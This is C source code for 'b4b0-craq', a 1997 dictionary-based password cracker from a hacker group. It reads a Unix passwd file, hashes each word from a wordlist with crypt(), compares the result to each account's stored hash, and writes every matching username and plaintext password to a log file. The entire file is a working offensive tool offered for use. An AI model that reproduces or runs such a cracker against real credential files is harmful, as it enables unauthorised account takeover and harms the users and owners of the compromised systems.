/* 
 * by: seegn4l 
 * b4b0-craq.2
 */

#include <stdio.h>
#include <pwd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/types.h>

#define MAXSIZ          50
#define DEFLOG          "craq.out"

void banner (void);
void sigcatch (int);
void usage (char *);
void crack (char *, char *, char *);

void
main (int argc, char *argv[])
{
  char logfile[30];

  banner ();
  if (argc < 3)
    usage (argv[0]);
  if (!argv[3])
    strncpy (logfile, DEFLOG, sizeof (logfile));
  else
    strncpy (logfile, argv[3], sizeof (logfile));
  crack (argv[1], argv[2], logfile);
}

void
banner (void)
{
  fprintf (stdout, "\nb4b0-cr4q.. by: seegn4l, '97.\n\n");
}

void
sigcatch (int sig)
{
  fprintf (stdout, "\n[!] caught signal: %d\n", sig);
  exit (0);
}

void
usage (char *name)
{
  fprintf (stderr, "us4ge: %s <p455wh0rdF> <d1ctF> [0utputF]\n"
           "\tpasswdf -> password file.\n"
           "\tdictf   -> dictionary file\n"
           "\toutputf -> output of cracking session.\n\n", name);
  exit (1);
}

void
crack (char *passwd, char *dict, char *out)
{
  FILE *pw, *dt, *lg, *pipe;
  struct passwd *p;
  char date[20], pwbuf[MAXSIZ], *strip, *try;

  signal (SIGINT, sigcatch);
  signal (SIGTERM, sigcatch);
  if ((pw = fopen (passwd, "r")) == NULL)
    {
      perror ("fopen");
      exit (1);
    }
  if ((dt = fopen (dict, "r")) == NULL)
    {
      perror ("fopen");
      exit (1);
    }
  if ((lg = fopen (out, "a+")) == NULL)
    {
      perror ("fopen");
      exit (1);
    }
  if ((pipe = popen ("date", "r")) == NULL)
    {
      perror ("popen");
      exit (1);
    }
  fgets (date, 20, pipe);
  pclose (pipe);
  fprintf (stdout, "[\\] logfile: %s\n[/] passwd: %s\n[\\] dictfile: %s\n\n", out, passwd, dict);
  fprintf (lg, "[\\] b4b0-craq v.121 ...\n");
  fprintf (lg, "[/] Passwd file: %s\n[\\] Date: %s\n\n", passwd, date);

  for (;;)
    {
      memset (pwbuf, 0, sizeof (pwbuf));
      rewind (dt);
      if ((p = fgetpwent (pw)) == NULL)
        {
          fprintf (stderr, "*** No more entries in the passwd file.\n\n");
          break;
        }
      if (!strcmp (p->pw_passwd, "*") || (!strcmp (p->pw_passwd, "!")))
        {
          fprintf (lg, "[o] Account: %s is disabled.\n", p->pw_name);
          continue;
        }
      fprintf (stdout, "[o] cracking %s's password.\n", p->pw_name);
      /* ugly (hey it works) continue/breaks have no effects in goto loops */

    craq:
      if (!fgets (pwbuf, MAXSIZ, dt))
        continue;
      if (strip = strchr (pwbuf, '\n'))
        *strip = '\0';
      try = crypt (pwbuf, p->pw_passwd);
#ifdef DEBUG
      fprintf (stdout, "DEBUG: dict file word: %s\n", pwbuf);
      fprintf (stdout, "DEBUG: encrypted dict file word: %s\n", try);
#endif
      if (!strcmp (try, p->pw_passwd))
        {
          fprintf (stdout, "\a\a[!] WE GOT ONE.\n");
          fprintf (lg, "[!] user: %s password: %s\n", p->pw_name, pwbuf);
          continue;
        }
      goto craq;
    }
  fclose (dt);
  fclose (pw);
  fclose (lg);
  exit (0);
}

